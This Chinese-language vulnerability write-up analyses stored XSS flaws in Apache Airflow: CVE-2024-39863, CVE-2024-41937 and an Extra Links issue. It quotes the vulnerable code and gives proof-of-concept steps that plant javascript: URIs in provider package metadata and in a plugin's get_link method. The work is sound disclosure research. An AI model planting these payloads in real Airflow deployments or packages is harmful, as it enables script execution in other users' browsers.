上个月看到Apache Airflow披露了1个存储型xss CVE-2024-39863: Apache Airflow: Potential XSS Vulnerability,于是进行了分析了下,并在分析过程中找到了2个相似的漏洞。

CVE-2024-39863:Apache Airflow潜在的存储型xss

披露的信息描述的是输入是来在provider中的链接信息,顿时感觉这个漏洞有点鸡肋,因为Airflow的provider安装需要使用pip进行安装,这不就是供应链安全了吗
查看相关补丁,问题出在airflow-2.9.2/airflow/www/views.py中对于/provider接口渲染的数据的位置
核心代码如下

@expose("/provider")
    @auth.has_access_view(AccessView.PROVIDERS)
    def list(self):
        """List providers."""
        providers_manager = ProvidersManager()

        providers = []
        for pi in providers_manager.providers.values():
            provider_info = pi.data
            provider_data = {
                "package_name": provider_info["package-name"],
                "description": self._clean_description(provider_info["description"]),
                "version": pi.version,
                # 可控
                "documentation_url": get_doc_url_for_provider(provider_info["package-name"], pi.version),
            }
            providers.append(provider_data)

        title = "Providers"
        doc_url = get_docs_url("apache-airflow-providers/index.html")
        return self.render_template(
            "airflow/providers.html",
            providers=providers,
            title=title,
            doc_url=doc_url,
        )

    def _clean_description(self, description):
        def _build_link(match_obj):
            text = match_obj.group(1)
            url = match_obj.group(2)
            return Markup(f'<a href="{url}">{text}</a>')

        cd = escape(description)
        cd = re2.sub(r"`(.*)[\s+]+&lt;(.*)&gt;`__", _build_link, cd)
        return Markup(cd)

就是该接口在搜集和数据已安装的provider时,会从已安装的包的描述信息中使用中文表达式去提取连url信息转换成超链接a标签。

开发者自身是有一定的安全意识的,首先对安装的provider包提供的description使用escape方法进行了一层html转义,然后使用正则表达式匹配转义后的描述中的a标签的href属性的值,对于匹配到的2个分组又拼接成一个完整的a标签,对于拼接好的数据,使用Markup方法又进行了一层escape,但是如果对xss有一定熟悉,就知道,这种escape还远远不够,因为特定标签如a标签的href属性是特殊的,可以结合javascript伪协议实现js的执行

从上述代码可知输出在/airflow/www/templates/airflow/providers.html文件


最终该漏洞的poc也很简单
首先找一个已发布的包(以下以apache_airflow_providers_airbyte为例),修改下包里面的get_provider_info.py文件,构造恶意的description字段
之前的description为

"description": "`Airbyte <https://airbyte.com/>`__\n"

将其修改为

"description": "`Airbyte <javascript:alert(document.domain)>`__\n"

然后将其打包成tar.gz压缩包,使用pip进行安装


之后在provider页面点击对应的链接即可触发

依据该漏洞的思路,和存在漏洞的代码特征,我找到了2个相似的存储型XSS

CVE-2024-41937:Apache Airflow Provider links存储型XSS

首先在www/templates/airflow/providers.html中可以看到安装的provider的documentation_url出现在 <a> 标签中的href属性中,如果documentation_url完全可控,那么就可以造成xss

{% for provider in providers %}
      <tr>
          <td><a href="{{ provider['documentation_url'] }}">{{ provider["package_name"] }}</a></td>

          <td>{{ provider["version"] }}</td>

          <td>{{ provider["description"]}}</td>

      </tr>

    {% endfor %}

后续经过分析documentation_url来自安装的包中的源信息


找一个已发布的包(以下以apache_airflow_providers_airbyte为例),修改下包里面的对其Project-URL进行修改,注入恶意payload javascript:prompt(document.domain)



安装成功后在airflow 的provider页面,点击相关连接,即可发现恶意js代码已执行


该漏洞最终在Airflow的2.10.0版本中进行修复

Apache Airfow Extra Links 存储型XSS

文件airflow/www/static/js/dag/details/taskInstance/ExtraLinks.tsx中会将Operator相关的Extra Links进行渲染成超链接

return (
    <Box my={3}>
      <Text as="strong">Extra Links</Text>

      <Flex flexWrap="wrap" mt={3}>
        {links.map(({ name, url }) => (
          <Button
            key={name}
            as={Link}
            colorScheme="blue"
            href={url}
            isDisabled={!url}
            target={isExternal(url) ? "_blank" : undefined}
            mr={2}
          >
            {name}
          </Button>

        ))}
      </Flex>

      <Divider my={2} />
    </Box>

  );
};

其中如果url可控则可造成存储型xss。经过分析,可以为Operator注册Extra Links来实现控制,具体可以参考https://www.astronomer.io/docs/learn/operator-extra-link-tutorial教程为SimpleHttpOperator注册Extra Links

1、在Airflow项目的“dags”文件夹中创建一个名为“plugin_test_dag.py”的新Python文件。将以下DAG代码复制并粘贴到文件中

from airflow.models.dag import DAG
from airflow.providers.http.operators.http import SimpleHttpOperator
from pendulum import datetime

with DAG(
    dag_id="plugin_test_dag",
    start_date=datetime(2022, 11, 1),
    schedule=None,
    catchup=False
):

    call_api_simple = SimpleHttpOperator(
        task_id="call_api_simple",
        http_conn_id="random_user_api_conn",
        method="GET"
    )

2、创建一个名字为random_user_api_conn的connection(上述dag会使用它),具体的其他内容随便写


3、在Airflow项目的“plugins”文件夹中创建一个名为my_extra_link_plugin.py的新Python文件,并粘贴以下代码。

from airflow.plugins_manager import AirflowPlugin
from airflow.models.baseoperator import BaseOperatorLink
from airflow.providers.http.operators.http import SimpleHttpOperator

# define the extra link
class HTTPDocsLink(BaseOperatorLink):
    # name the link button in the UI
    name = "HTTP docs"
    # add the button to one or more operators

    operators = [SimpleHttpOperator]

    # provide the link

    def get_link(self, operator, *, ti_key=None):
        return "javascript:alert(1)"


# define the plugin class

class AirflowExtraLinkPlugin(AirflowPlugin):
    name = "extra_link_plugin"
    operator_extra_links = [
        HTTPDocsLink(),
    ]

4、为了能够看到我们注册的Extra Links,需要运行我们上面创建的名为plugins_test_dag的DAG,在Grid视图中,查看名为HTTP docs的Extra Links按钮,即可触发XSS


该漏洞在Airflow的2.10.1版本中进行修复